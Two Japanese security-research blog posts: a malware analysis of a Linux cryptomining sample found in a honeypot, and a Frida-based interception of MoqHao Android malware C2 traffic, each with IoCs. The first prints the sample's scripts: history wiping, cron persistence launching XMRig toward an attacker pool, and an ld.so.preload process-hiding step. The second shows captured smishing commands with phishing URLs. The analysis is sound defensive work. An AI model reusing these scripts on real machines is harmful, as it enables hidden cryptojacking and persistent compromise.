2021年12月20日月曜日

Terraformers ~他人のマシンに隠れて住み着くゴキブリ共~

はじめに

こんにちは。アクティブディフェンス研究所 学生アルバイトの紫関麗王(@n01e0)と申します。今回は弊社が設置しているハニーポットにて最近観測された斬新な構成のmining malwareについてご紹介します。

背景

時は202X年、不正な仮想通貨マイニング攻撃は増加の一途を辿り、攻撃者の間ではインターネット上の脆弱なリソースを巡る争奪戦が起こっていた。
そんな中、あるアクターは革新的な手法を思いつく。
「既存の除去ツールを使って更地にしてしまえば独占できるのでは...?」
弊社が設置したハニーポットて観測された、そんな手法を用いて実装された検体の解析結果をまとめる。

他人のマシンで戦うな。

概要

アーカイブが展開された後の主な挙動は

  1. 競合マイナーの除去
  2. GitHub上で公開されている既存のscriptを用いて整地を行います。

  3. crontabによるマイナー及びDDoS PerlBotの永続化
  4. マイナーとC2をcrontabによって再起動後も実行されるようにします。

    マイニングにはXMRigを使用し、XMR(モネロ)の採掘を行います。

  5. shared-objectによるマイナーのprocess hiding
  6. ここでもGitHub上で公開されているコードを用いてps等のコマンドからマイナー本体を隠します。

タイトルはこれらの整地(Terra forming)、永続化、秘匿の性質から付けました。

構成

アーカイブは.logs以下に展開されます

 :           directory
config.json: ASCII text
cron:        ASCII text
cron.d:      ASCII text
dir.dir:     ASCII text
init:        POSIX shell script, ASCII text executable
install:     ASCII text
prchid:      ASCII text
prchid.c:    C source, ASCII text
python.txt:  ASCII text, with very long lines
sftp-server: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers
SHA256SUMS:  ASCII text
xmrig-notls: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=67f66d47179eb1c184ddfac9b895e76da2110af8, stripped

この中で実際の活動に使用される重要なファイルは以下の9種です。

config.json
cron
cron.d
init
install
prchid
prchid.c
python.txt
sftp-server

install

#Let`s go
set +o history
history -c
sleep 1
chmod +x *
./init
./cron
./prchid

echo "Blana de urs"

1st payload.

まずは操作履歴を残さないようにした上で、既に残されている履歴を消去します。

展開されたすべてのファイルに実行権限を付け、

  1. init

    競合マイナーの排除

  2. cron

    XMRig、DDoS PerlBotの永続化

  3. prchid

    XMRigのプロセスを隠す

の順で実行します。

init

MinerKiller.sh

マイナーの除去ツール

競合することになる他のコインマイナーを先にシステム上から削除します。

GitHub上のコードをそのまま使っているわけではなく、微妙にコードが追加されており、嬉しいことに(?)更に強力な除去ツールになっています。

cron

pwd > dir.dir
dir=$(cat dir.dir)
crontab -r
cd $dir
chmod 777 *

rm -rf cron.d
cd $dir
nohup ./sftp-server -o 51.195.26.217:3333 -u Prinse -p Prinse >> /dev/null &
sleep 5s
nohup perl python.txt >>/dev/null &
#* */12 * * *
echo "@reboot $dir/sftp-server -o 51.195.26.217:3333 -u Prinse -p Prinse >>/dev/null 2>&1
0 0 */3 * * perl $dir/pyton.txt 2>&1" >> cron.d

sleep 3s

crontab cron.d
crontab -l
echo "PORNIT!"

マイナー

cronで実行されるsftp-serverがマイニングを行うxmrig本体(version 5.5.1)です。

$ ./sftp-server  --version
XMRig 5.5.1
 built on Jan 12 2020 with GCC 5.4.0
 features: 64-bit AES

libuv/1.34.0
OpenSSL/1.1.1d
hwloc/2.1.0

xmrig-notlsとsftp-serverは、CFG等の特徴がかなり類似しています。

一方、xmrig-notlsは、名前の通りOpenSSLに依存していないようです。

$ ./xmrig-notls --version
XMRig 5.5.1
 built on Jan 12 2020 with GCC 5.4.0
 features: 64-bit AES

libuv/1.34.0
hwloc/2.1.0

これらの特徴から、おそらく違いはビルドオプション(-DWITH_TLS=OFF)だと想像できます。

DDoS PerlBot

また、python.txtはPerlスクリプトで、base64でエンコードされたDDoS PerlBotを実行します。

このプロセスは

/usr/sbin/apache2 -k start
に偽装してC2(IRC)に接続し、命令を受け取ります

  • 接続先
    • 51[.]195.26.217:6667
  • チャンネル
    • #vuln

公開されているものとの差分はほぼ無く、変更点は接続先等でコマンドの追加などもありません。

ポートスキャン、DDoS、シェル実行などの機能があり、このDDoS PerlBotは他の検体でも広く使われているのを確認しています。

prchid

GitHub - gianlucaborello/libprocesshider: Hide a process under Linux using the ld preloader

readdirとreaddir64を自作の関数でhookし、/proc上のsftp-sreverに関するファイルを読めないようにするコードです。

sed -i 's|evil_script.py|sftp-server|g' prchid.c
gcc -Wall -fPIC -shared -o libprocesshider.so prchid.c -ldl
mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
rm -f prchid.c

ここではDDoS PerlBot(プロセス名 /usr/sbin/apache2)は隠されていません。

作成された共有ライブラリは/etc/ld.so.preloadに置かれるため、ldはデフォルトでロードしてしまいます。

これにより、ps等のコマンドによるマルウェアの発見が困難になります。

設定

xmrigの設定ファイル(config.json) 一部抜粋

  "pools": [
    {
      "algo": null,
      "coin": null,
      "url": "donate.v2.xmrig.com:3333",
      "user": "44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy",
      "pass": "x",
      "rig-id": null,
      "nicehash": false,
      "keepalive": false,
      "enabled": true,
      "tls": false,
      "tls-fingerprint": null,
      "daemon": false,
      "self-select": null
    }
  ],
ここでwalletのアドレスが指定されています。

cronや設定ファイルから分かる送付先の情報は以下の通りです。

user: Prinse
pass: Prinse
pool: 51[.]195.26.217:3333
addr: 44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy

おわりに

更地にした上で自分のマイナーを置くことで独占したい攻撃者の心理は理解できるが、その方法として既存の除去ツールを(より強化して)使うアイデアには関心しました。

また、私事ではありますが、現在就職活動(23卒)を行っています。詳しくはこちらをご覧下さい。

IoC

  • 51[.]195.26.217:3333
  • 44j3JhCPKGVCMhfceDnwFLSHrs86B1vjnLQkWaSmvVxvSKzjVt4ZLqmDQszCr44KbGfto6d36CkReNw4tbDAZWy64EcRdiy
  • evil_script.py
  • DDoS PerlBot v1.0
  • dauPORNO
  • dauPORNO.eu

現在確認している類似した検体の一覧(sha256sum)

053a265612ee0a5884fdfa84a6f54c4bcf69ea4ee260c530c1e5036f86f7bd45
07acb67bd5e7db03bf9034fee2d75a82e58037552f78d2879d0977cd6818beb9
1200075fc715014c0de834eb44b6c19740b7bea7292a11ea6878533f0dd27e1d
14247c0d0e80554e2f4fe77bdfa6d30cab285d28aa6fe7e9ecb59271881f0d7b
1605bddae7296cf98c88ca864811041447d4e2494d0fa71d5ac70c1b8a0c08c9
18411e7eedfaf49eb9518d41b5257c9d806cec9bcc68fd13a43779128632e561
184739150b385e26c042b85df214aa1a5de54576f7b2f2757c48be4ff7342942
2fd6239e7abe744851924411ec905e1441bfbb81dcd8575eaabafd3a979e2213
361f6ec311f132fe808f654c45694485d811d8a3b692da10e4d053039c7c44bb
38517d9bb1c2846652f44ae63fd05b64c263760cd4683ab53573e208555d3b03
3e6f3c3875c8602e59c4682b934b9b6eb2279daf7b14e75d862d9e052822d85e
462f32ae969ae080f89df2b629cbefcd4dab9633344aeb86bdc556a375c88580
4a47840174c2ea86a57cca17f95f093a656aaf29aa8b21685819f8f98b84397b
508271b05bd9cd11228e14920d0d9d1d5bfaa68ffaf942eb41787bf500a64aa4
6699dce573333fd11e94a8d0b2b75f6b584d0350aa406e83ebe36a8614c6e6c0
737b52a90014f6a9236c8d4292e37926350acf71383aaabbe7f3584810a1dc97
79c1fd95d9c44c190311e5095dc03bac248c33e7165b0ed44f0789e98e28e7e2
8939a6fd0f366083221b4840ebde52a49da29c625d87f08f4b26a4a54c45d4da
975d901a949c06070b682e5951cd16d76718cff26ddd753f1d8df73d95d9636c
a0cbce2c74b911f9b2a58571495746fea49ba641473071615020c5deaad6ce9a
a02d9913952851ce8e24c4aa5b39eacde3a1b9f1319806b75dbadd76e41db2eb
a24d8f9ae67acdc8d204d53afd989f61b65499525adb256a40d71430944b897c
a58fe8e077e48ae1392dd2207cf3346cd1134be06011b8145c90e337329a99e8
a3075f60d23aa8634a7092ca875a6105a3d3b727ce5f3c85a2693d55b7b97ecb
b23f112d6e96c5977d1ac9929ad76b6674fff3c85a9ae26074e4cdeac099ae0e
b706d8c7a18f23a820bc101530db6004211d39c6546b679d1a3a05a92d76fd10
b9310e77bfb4e8f32e4711b227bdcf22847f04c8459e3d9daf9f6d26f95c5407
bc9326ff94f4477e9d1592bc9f277f3b7823be0c734a6139461c683be4d2a141
caabfc347a8c0633b60ceb9c4dbc2c188132bc7c8e64b4ae0aa62d4bf9e9c839
d80f2bb2e725ae22f027055b63bc567f2761b0911501ef84d31ff606c108f3f5
dac46519a1adc475310335f2d1eca4a92b633050e6e57b1e984c70735d2cafec
e5f10d59c989793fdc8cfa292f9e3dc4c664397148b2225fd3a6ec28ca8cb612
eb629b6b6c80a30b232a1d5dcb462960ef0d5032dddff101dc087262003fbab4
f2ae9e5070fe9de75b1209f304853310bb14480e0615b8f7a44e49dc81fc0a8a
f4b2f6fdd95a02b10915d966f79c50053cd8f9c5ad723ad687fbe02c8ddd796e
f4d968c7e64b5dfdccb21a5b7d79876d896c46ad6607e44ede3efb073a4805c8
f651b437d7d45720596bb1952b9f4dd55cb94885101887c487f5bdf6df24c9de

2021年12月16日木曜日

FridaをもちいたAndroid Malware解析(MoqHao, XLoader)

FridaをもちいたAndroid Malware解析

はじめに

こんにちは。アクティブディフェンス研究所 学生アルバイトの森瑞穂(@morimolymoly) と申します。今回はSmishing(SMSを用いたフィッシング)で猛威を振るうマルウェアファミリMoqHao(XLoader)のC2通信をFridaを使って傍受する手法をご紹介いたします。

MoqHao概要

MoqHaoは詐欺SMSに含まれるURLからダウンロードされるアプリケーションをインストールすることで感染するトロイの木馬型ウィルスです。

我々の観測している範囲内では、Chromeや日本郵便やクロネコヤマトなどのアプリに偽装しています。感染すると詐欺SMSを拡散し、端末内の情報も抜かれます。

これらのアプリケーションはほとんどの機能をパッキングしたペイロードに実装しています。これを後々アンパッキングし、実装された機能を呼び出します。

解析概要

Dynamic InstrumentationツールのFridaを使用して、C2通信に関わる関数を特定、フッキングします。フッキングした後は通信をダンプいたします。

今回はroot化をせず、frida-gadgetをアプリに挿入、アタッチ、フック、解析を行います。

またペイロードのアンパッキング手法は今回は省きます。

Frida-gadgetの配置

frida-gadgetを参考文献[1]のとおりにアプリにインストールします。コツとしてはAndroidManifest.xmlのINTENTとMAINが付与されたactivityのsmaliのクラスのonCreateメソッドの中のlocal変数の数が指定された直後にパッチします。

# virtual methods
.method protected onCreate(Landroid/os/Bundle;)V
    .locals 4

    const-string v0, "frida"
    invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V

    invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

    new-instance p1, Landroid/content/Intent;

    const-class v0, Lgq6h1y4/zfService

次にライブラリを配置します。今回は32bitのfrida-gadgetをインストールすることにしました。

➜  japanpost tree lib/armeabi-v7a/   
lib/armeabi-v7a/
├── libfrida.config.so
├── libfrida.so
└── libka.so

libfrida.config.soは以下のような設定ファイル。

{
  "interaction": {
    "type": "listen",
    "address": "0.0.0.0",
    "port": 27042,
    "on_port_conflict": "fail",
    "on_load": "resume"
  }
}

参考文献[3]に書いてあるものを少し改変しました。

frida-gadgetがロードされたあとにアタッチを待たずに実行を続けるようにしました。

そのあとにビルドして署名して端末に入れます。

apktool d japanpost.apk -o japanpost
apktool b -o jjj.apk --use-aapt2 japanpost/
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore custom.keystore jjj.apk testkey

端末上でアプリを立ち上げ、 frida-ps でプロセスに Gadget がいるかを確かめていたら動作完了です。

➜  japanpost frida-ps -U | grep Gadget
14258  Gadget

フッキング

実際にフッキングしてみます。

テストのために com.Loader$q クラスのonReceiveメソッドを監視してみます。

まずfrida-gadgetにスクリプトを渡すためのコードを記述します。

次にスクリプトを書きます。トリッキーになっているのは、動的にクラスがロードされる場合、fridaはうまく解釈してクラスを検索できないからです。[4]

import frida
import os
import sys
import argparse

def parse_hook(filename):
     print('[*] Parsing hook: ' + filename)
     hook = open(filename, 'r')
     script = session.create_script(hook.read())
     script.load()
  
  
if __name__ == '__main__':
     try:
         parser = argparse.ArgumentParser()
         parser.add_argument('script', help='Print stack trace for each hook')
         args = parser.parse_args()
  
         session = frida.get_usb_device().attach('Gadget')
         parse_hook(args.script)
         session.resume()
         print('')
         sys.stdin.read()
  
     except KeyboardInterrupt:
         sys.exit(0)
'use strict;'

if (Java.available) {
  Java.perform(function() {

  Java.enumerateClassLoaders({
    onMatch: function(loader){
        Java.classFactory.loader = loader;
        let loaderq;
        try{
          loaderq = Java.use("com.Loader$q");
          console.log("com.Loader$q gotcha!");
          loaderq.onReceive.implementation = function(a, b) {
            console.log("[+] inside method", a, b);
          }
        }catch(error){
          if(error.message.includes("ClassNotFoundException")){
              console.log("\n ClassNotFoundException");
          }
        }
    },
    onComplete: function(){
    }
  });
})
}

これが成功するとonReceiveメソッドが監視できます。

通信に関する関数を特定する

送信・受信のデータを傍受するために、暗号化やアンパッキングを飛ばして入口・出口をフックしてデータを覗き見しましょう。

MoqHaoはC2との通信に、MessagePackとWebsocketを使用します。

また、通信開始時にログに、 skif frame など特徴的な文字列を吐き出します。

これらの文字列をたどっていくと、 com.j クラスにたどり着きます。

送信

送信時には com.jo メソッドが呼ばれることがわかりました。



これをフックして、引数を出力するとC2への送信内容がわかります。また、パラメータがうまく出力できないので、 org.msgpack.core.buffer.MessageBufferUputBytes メソッドをフックして詳細を出力しました。

受信

com.j クラスの中身を解析すると、 受信時にはm メソッドが呼び出されることがわかりました。



これを静的解析すると、MessagePackでアンパックして、その結果を q メソッドに渡すことがわかります。 q メソッドの引数を出力するとC2からの司令を覗くことができます。

通信に関する関数をフックし、傍受する

Fridaを使ったフッキング&解析はトライアンドエラーでフックを仕掛けては外してを繰り返して目的の関数を定めていくことができます。今回も静的解析一発で出力はできませんでした。まずいかにコードを示します。

'use strict;'

if (Java.available) {
  Java.perform(function() {

  Java.enumerateClassLoaders({
    onMatch: function(loader){
        Java.classFactory.loader = loader;
        let msgpack;
        try{
          msgpack = Java.use("org.msgpack.core.buffer.MessageBufferU");

          msgpack.putBytes.implementation = function(d, a, b, c) {
            try {
              const str = a.toString();
              const chars = str.split(',');
              let bstr = "";
              for (const ch of chars) {
                bstr += String.fromCharCode(Number(ch));
              }
              console.log(bstr);
              return this.putBytes(d, a, b, c);
            }catch(error){
              console.log(error);
            }
          }
        }catch(error){
          if(error.message.includes("ClassNotFoundException")){
              console.log("\n ClassNotFoundException");
          }
        }
    },
    onComplete: function(){
    }
  });

  Java.enumerateClassLoaders({
    onMatch: function(loader){
        Java.classFactory.loader = loader;
        let comj;
        try{
          comj = Java.use("com.j");
          console.log("com.j found!");

          comj.o.implementation = function(a) {
            try {
              console.log("to c2:", a);
              return this.o(a);
            }catch(error){
              console.log(error);
            }
          }

          comj.q.implementation = function(a) {
            try {
              console.log("from c2:", a.x());
              return this.q(a);
            }catch(error){
              console.log(error);
            }
          }
        }catch(error){
          if(error.message.includes("ClassNotFoundException")){
              console.log("\n ClassNotFoundException");
          }
        }
    },
    onComplete: function(){
    }
  });
})
}

概ね先述の通りのフックになっていることがわかるかと思います。

com.jq メソッドのフックの console.log 時に、 a.x() と呼び出していますが、これはトライアンドエラーの結果で、単純に引数を出力するとエラーになるので(エラーというよりアウトプットがうまくいかない)、toStringなメソッドが生えていないか調べ、返り値の型がStringな関数に焦点を当て呼び出しています。toStringなラベルが無いのはおそらく難読化によるものであると考えられます。

C2からの司令

今回はSMSを送信させる司令である sendSMS を観測いたしましたので以下に内容を示します。

from c2: {"jsonrpc":"2.0","method":"sendSms","id":89,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://locmwfecfw.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":90,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://locmwfecfw.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":91,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lrxakntmnw.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":92,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":93,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":94,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":95,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://mbbmrqpdik.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":96,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":97,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":98,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://mbbmrqpdik.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":99,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":100,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":101,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://mbbmrqpdik.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":102,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://mbbmrqpdik.duckdns.org"]}
from c2: {"jsonrpc":"2.0","method":"sendSms","id":103,"params":["電話番号","お荷物の住所が不明でお預かりしております、確認してください。http://lwiobcbkms.duckdns.org"]}

生々しく配信先の電話番号と文面が記されています。

おわりに

Fridaを使ったメソッドフッキングでC2通信の内容を傍受いたしました。

Fridaの使用方法紹介からC2の司令内容のダンプまで紹介いたしました。

今回の検体は大まかにはMessagePackを使用して簡素な通信を行っていましたが、今後暗号化が強化された際に今回の手法は効果を大きく発揮することでしょう。また、この手法の強みは出口と入口さえわかれば暗号化・復号化をスキップして目的の値を取得できるところにあります。

IoC

  • 765119852dc93c3a5d397cbaa167ac148856dba9773062626ed4aeb9674f860c
  • 45[.]114.129.50:28877
  • https://m.vk[.]com/id674309800?act=info
  • https://m.vk[.]com/id674310752?act=info
  • https://m.vk[.]com/id674311261?act=info

Special Thanks!

Nyleon88氏(https://twitter.com/Nyleon88) - C2配信の挙動についての情報などを提供していただきました

参考文献

[1] https://koz.io/using-frida-on-android-without-root/

[2] https://www.trustedsec.com/blog/mobile-hacking-using-frida-to-monitor-encryption/

[3] https://frida.re/docs/gadget/

[4] https://serializethoughts.com/2021/05/07/frida-java-classloaders